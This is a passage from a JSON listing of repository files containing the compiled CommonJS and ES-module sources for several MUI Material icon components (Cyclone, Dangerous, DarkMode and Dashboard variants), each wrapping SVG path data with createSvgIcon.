    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 6.11c0-.46-.3-.86-.74-.97C19.23 4.6 16.03 4 12 4c-2.15 0-4.11.86-5.54 2.24.1-.65.28-1.69.62-2.96.17-.64-.3-1.28-.97-1.28-.45 0-.85.3-.97.74C4.6 4.77 4 7.97 4 12c0 2.15.86 4.11 2.24 5.54-.65-.1-1.69-.28-2.96-.62-.64-.17-1.28.3-1.28.97 0 .46.3.86.74.97C4.77 19.4 7.97 20 12 20c2.15 0 4.11-.86 5.54-2.24-.1.65-.28 1.69-.62 2.96-.17.64.3 1.28.97 1.28.46 0 .86-.3.97-.74C19.4 19.23 20 16.03 20 12c0-2.15-.86-4.11-2.24-5.54.65.1 1.69.28 2.96.62.64.17 1.28-.3 1.28-.97M12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'CycloneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CycloneRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 6.11c0-.46-.3-.86-.74-.97C19.23 4.6 16.03 4 12 4c-2.15 0-4.11.86-5.54 2.24.1-.65.28-1.69.62-2.96.17-.64-.3-1.28-.97-1.28-.45 0-.85.3-.97.74C4.6 4.77 4 7.97 4 12c0 2.15.86 4.11 2.24 5.54-.65-.1-1.69-.28-2.96-.62-.64-.17-1.28.3-1.28.97 0 .46.3.86.74.97C4.77 19.4 7.97 20 12 20c2.15 0 4.11-.86 5.54-2.24-.1.65-.28 1.69-.62 2.96-.17.64.3 1.28.97 1.28.46 0 .86-.3.97-.74C19.4 19.23 20 16.03 20 12c0-2.15-.86-4.11-2.24-5.54.65.1 1.69.28 2.96.62.64.17 1.28-.3 1.28-.97M12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'CycloneRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CycloneSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 7.47V5.35C20.05 4.77 16.56 4 12 4c-2.15 0-4.11.86-5.54 2.24.13-.85.4-2.4 1.01-4.24H5.35C4.77 3.95 4 7.44 4 12c0 2.15.86 4.11 2.24 5.54-.85-.14-2.4-.4-4.24-1.01v2.12C3.95 19.23 7.44 20 12 20c2.15 0 4.11-.86 5.54-2.24-.14.85-.4 2.4-1.01 4.24h2.12c.58-1.95 1.35-5.44 1.35-10 0-2.15-.86-4.11-2.24-5.54.85.13 2.4.4 4.24 1.01M12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'CycloneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CycloneSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 7.47V5.35C20.05 4.77 16.56 4 12 4c-2.15 0-4.11.86-5.54 2.24.13-.85.4-2.4 1.01-4.24H5.35C4.77 3.95 4 7.44 4 12c0 2.15.86 4.11 2.24 5.54-.85-.14-2.4-.4-4.24-1.01v2.12C3.95 19.23 7.44 20 12 20c2.15 0 4.11-.86 5.54-2.24-.14.85-.4 2.4-1.01 4.24h2.12c.58-1.95 1.35-5.44 1.35-10 0-2.15-.86-4.11-2.24-5.54.85.13 2.4.4 4.24 1.01M12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'CycloneSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CycloneTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 5.35C20.05 4.77 16.56 4 12 4c-2.15 0-4.11.86-5.54 2.24.13-.85.4-2.4 1.01-4.24H5.35C4.77 3.95 4 7.44 4 12c0 2.15.86 4.11 2.24 5.54-.85-.14-2.4-.4-4.24-1.01v2.12C3.95 19.23 7.44 20 12 20c2.15 0 4.11-.86 5.54-2.24-.14.85-.4 2.4-1.01 4.24h2.12c.58-1.95 1.35-5.44 1.35-10 0-2.15-.86-4.11-2.24-5.54.85.14 2.4.4 4.24 1.01zM18 12c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6 6 2.69 6 6\"\n}, \"3\")], 'CycloneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CycloneTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 6c-3.31 0-6 2.69-6 6s2.69 6 6 6 6-2.69 6-6-2.69-6-6-6m0 10c-2.21 0-4-1.79-4-4s1.79-4 4-4 4 1.79 4 4-1.79 4-4 4\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"12\",\n  r: \"2\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 8c-2.21 0-4 1.79-4 4s1.79 4 4 4 4-1.79 4-4-1.79-4-4-4m0 6c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 5.35C20.05 4.77 16.56 4 12 4c-2.15 0-4.11.86-5.54 2.24.13-.85.4-2.4 1.01-4.24H5.35C4.77 3.95 4 7.44 4 12c0 2.15.86 4.11 2.24 5.54-.85-.14-2.4-.4-4.24-1.01v2.12C3.95 19.23 7.44 20 12 20c2.15 0 4.11-.86 5.54-2.24-.14.85-.4 2.4-1.01 4.24h2.12c.58-1.95 1.35-5.44 1.35-10 0-2.15-.86-4.11-2.24-5.54.85.14 2.4.4 4.24 1.01zM18 12c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6 6 2.69 6 6\"\n}, \"3\")], 'CycloneTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dangerous.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM17 15.74 15.74 17 12 13.26 8.26 17 7 15.74 10.74 12 7 8.26 8.26 7 12 10.74 15.74 7 17 8.26 13.26 12z\"\n}), 'Dangerous');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dangerous.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM17 15.74 15.74 17 12 13.26 8.26 17 7 15.74 10.74 12 7 8.26 8.26 7 12 10.74 15.74 7 17 8.26 13.26 12z\"\n}), 'Dangerous');"
  },
  {
    "path": "packages/mui-icons-material/lib/DangerousOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1zm-4.17-7.14L12 10.59 9.17 7.76 7.76 9.17 10.59 12l-2.83 2.83 1.41 1.41L12 13.41l2.83 2.83 1.41-1.41L13.41 12l2.83-2.83z\"\n}), 'DangerousOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DangerousOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1zm-4.17-7.14L12 10.59 9.17 7.76 7.76 9.17 10.59 12l-2.83 2.83 1.41 1.41L12 13.41l2.83 2.83 1.41-1.41L13.41 12l2.83-2.83z\"\n}), 'DangerousOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DangerousRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.9 3H9.1c-.53 0-1.04.21-1.42.59l-4.1 4.1C3.21 8.06 3 8.57 3 9.1v5.8c0 .53.21 1.04.59 1.41l4.1 4.1c.37.38.88.59 1.41.59h5.8c.53 0 1.04-.21 1.41-.59l4.1-4.1c.38-.37.59-.88.59-1.41V9.1c0-.53-.21-1.04-.59-1.41l-4.1-4.1c-.37-.38-.88-.59-1.41-.59m.64 12.54c-.39.39-1.02.39-1.41 0L12 13.41l-2.12 2.12c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L10.59 12 8.46 9.88a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L12 10.59l2.12-2.12c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L13.41 12l2.12 2.12c.4.39.4 1.03.01 1.42\"\n}), 'DangerousRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DangerousRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.9 3H9.1c-.53 0-1.04.21-1.42.59l-4.1 4.1C3.21 8.06 3 8.57 3 9.1v5.8c0 .53.21 1.04.59 1.41l4.1 4.1c.37.38.88.59 1.41.59h5.8c.53 0 1.04-.21 1.41-.59l4.1-4.1c.38-.37.59-.88.59-1.41V9.1c0-.53-.21-1.04-.59-1.41l-4.1-4.1c-.37-.38-.88-.59-1.41-.59m.64 12.54c-.39.39-1.02.39-1.41 0L12 13.41l-2.12 2.12c-.39.39-1.02.39-1.41 0a.996.996 0 0 1 0-1.41L10.59 12 8.46 9.88a.996.996 0 0 1 0-1.41c.39-.39 1.02-.39 1.41 0L12 10.59l2.12-2.12c.39-.39 1.02-.39 1.41 0s.39 1.02 0 1.41L13.41 12l2.12 2.12c.4.39.4 1.03.01 1.42\"\n}), 'DangerousRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DangerousSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zm.51 11.83-1.41 1.41L12 13.41l-2.83 2.83-1.41-1.41L10.59 12 7.76 9.17l1.41-1.41L12 10.59l2.83-2.83 1.41 1.41L13.41 12z\"\n}), 'DangerousSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DangerousSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zm.51 11.83-1.41 1.41L12 13.41l-2.83 2.83-1.41-1.41L10.59 12 7.76 9.17l1.41-1.41L12 10.59l2.83-2.83 1.41 1.41L13.41 12z\"\n}), 'DangerousSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DangerousTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.1 5 5 9.1v5.8L9.1 19h5.8l4.1-4.1V9.1L14.9 5zm7.14 9.83-1.41 1.41L12 13.41l-2.83 2.83-1.41-1.41L10.59 12 7.76 9.17l1.41-1.41L12 10.59l2.83-2.83 1.41 1.41L13.41 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1zm-4.17-7.14L12 10.59 9.17 7.76 7.76 9.17 10.59 12l-2.83 2.83 1.41 1.41L12 13.41l2.83 2.83 1.41-1.41L13.41 12l2.83-2.83z\"\n}, \"1\")], 'DangerousTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DangerousTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.1 5 5 9.1v5.8L9.1 19h5.8l4.1-4.1V9.1L14.9 5zm7.14 9.83-1.41 1.41L12 13.41l-2.83 2.83-1.41-1.41L10.59 12 7.76 9.17l1.41-1.41L12 10.59l2.83-2.83 1.41 1.41L13.41 12z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.73 3H8.27L3 8.27v7.46L8.27 21h7.46L21 15.73V8.27zM19 14.9 14.9 19H9.1L5 14.9V9.1L9.1 5h5.8L19 9.1zm-4.17-7.14L12 10.59 9.17 7.76 7.76 9.17 10.59 12l-2.83 2.83 1.41 1.41L12 13.41l2.83 2.83 1.41-1.41L13.41 12l2.83-2.83z\"\n}, \"1\")], 'DangerousTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DarkMode.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9c0-.46-.04-.92-.1-1.36-.98 1.37-2.58 2.26-4.4 2.26-2.98 0-5.4-2.42-5.4-5.4 0-1.81.89-3.42 2.26-4.4-.44-.06-.9-.1-1.36-.1\"\n}), 'DarkMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/DarkMode.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9c0-.46-.04-.92-.1-1.36-.98 1.37-2.58 2.26-4.4 2.26-2.98 0-5.4-2.42-5.4-5.4 0-1.81.89-3.42 2.26-4.4-.44-.06-.9-.1-1.36-.1\"\n}), 'DarkMode');"
  },
  {
    "path": "packages/mui-icons-material/lib/DarkModeOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.37 5.51c-.18.64-.27 1.31-.27 1.99 0 4.08 3.32 7.4 7.4 7.4.68 0 1.35-.09 1.99-.27C17.45 17.19 14.93 19 12 19c-3.86 0-7-3.14-7-7 0-2.93 1.81-5.45 4.37-6.49M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9c0-.46-.04-.92-.1-1.36-.98 1.37-2.58 2.26-4.4 2.26-2.98 0-5.4-2.42-5.4-5.4 0-1.81.89-3.42 2.26-4.4-.44-.06-.9-.1-1.36-.1\"\n}), 'DarkModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DarkModeOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.37 5.51c-.18.64-.27 1.31-.27 1.99 0 4.08 3.32 7.4 7.4 7.4.68 0 1.35-.09 1.99-.27C17.45 17.19 14.93 19 12 19c-3.86 0-7-3.14-7-7 0-2.93 1.81-5.45 4.37-6.49M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9c0-.46-.04-.92-.1-1.36-.98 1.37-2.58 2.26-4.4 2.26-2.98 0-5.4-2.42-5.4-5.4 0-1.81.89-3.42 2.26-4.4-.44-.06-.9-.1-1.36-.1\"\n}), 'DarkModeOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/DarkModeRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.01 3.05C6.51 3.54 3 7.36 3 12c0 4.97 4.03 9 9 9 4.63 0 8.45-3.5 8.95-8 .09-.79-.78-1.42-1.54-.95-.84.54-1.84.85-2.91.85-2.98 0-5.4-2.42-5.4-5.4 0-1.06.31-2.06.84-2.89.45-.67-.04-1.63-.93-1.56\"\n}), 'DarkModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DarkModeRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.01 3.05C6.51 3.54 3 7.36 3 12c0 4.97 4.03 9 9 9 4.63 0 8.45-3.5 8.95-8 .09-.79-.78-1.42-1.54-.95-.84.54-1.84.85-2.91.85-2.98 0-5.4-2.42-5.4-5.4 0-1.06.31-2.06.84-2.89.45-.67-.04-1.63-.93-1.56\"\n}), 'DarkModeRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/DarkModeSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9c0-.46-.04-.92-.1-1.36-.98 1.37-2.58 2.26-4.4 2.26-2.98 0-5.4-2.42-5.4-5.4 0-1.81.89-3.42 2.26-4.4-.44-.06-.9-.1-1.36-.1\"\n}), 'DarkModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DarkModeSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9c0-.46-.04-.92-.1-1.36-.98 1.37-2.58 2.26-4.4 2.26-2.98 0-5.4-2.42-5.4-5.4 0-1.81.89-3.42 2.26-4.4-.44-.06-.9-.1-1.36-.1\"\n}), 'DarkModeSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/DarkModeTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.37 5.51c-.18.64-.27 1.31-.27 1.99 0 4.08 3.32 7.4 7.4 7.4.68 0 1.35-.09 1.99-.27C17.45 17.19 14.93 19 12 19c-3.86 0-7-3.14-7-7 0-2.93 1.81-5.45 4.37-6.49\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.37 5.51c-.18.64-.27 1.31-.27 1.99 0 4.08 3.32 7.4 7.4 7.4.68 0 1.35-.09 1.99-.27C17.45 17.19 14.93 19 12 19c-3.86 0-7-3.14-7-7 0-2.93 1.81-5.45 4.37-6.49M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9c0-.46-.04-.92-.1-1.36-.98 1.37-2.58 2.26-4.4 2.26-2.98 0-5.4-2.42-5.4-5.4 0-1.81.89-3.42 2.26-4.4-.44-.06-.9-.1-1.36-.1\"\n}, \"1\")], 'DarkModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/DarkModeTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.37 5.51c-.18.64-.27 1.31-.27 1.99 0 4.08 3.32 7.4 7.4 7.4.68 0 1.35-.09 1.99-.27C17.45 17.19 14.93 19 12 19c-3.86 0-7-3.14-7-7 0-2.93 1.81-5.45 4.37-6.49\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.37 5.51c-.18.64-.27 1.31-.27 1.99 0 4.08 3.32 7.4 7.4 7.4.68 0 1.35-.09 1.99-.27C17.45 17.19 14.93 19 12 19c-3.86 0-7-3.14-7-7 0-2.93 1.81-5.45 4.37-6.49M12 3c-4.97 0-9 4.03-9 9s4.03 9 9 9 9-4.03 9-9c0-.46-.04-.92-.1-1.36-.98 1.37-2.58 2.26-4.4 2.26-2.98 0-5.4-2.42-5.4-5.4 0-1.81.89-3.42 2.26-4.4-.44-.06-.9-.1-1.36-.1\"\n}, \"1\")], 'DarkModeTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dashboard.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 13h8V3H3zm0 8h8v-6H3zm10 0h8V11h-8zm0-18v6h8V3z\"\n}), 'Dashboard');"
  },
  {
    "path": "packages/mui-icons-material/lib/Dashboard.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 13h8V3H3zm0 8h8v-6H3zm10 0h8V11h-8zm0-18v6h8V3z\"\n}), 'Dashboard');"
  },
  {
    "path": "packages/mui-icons-material/lib/DashboardCustomize.js",
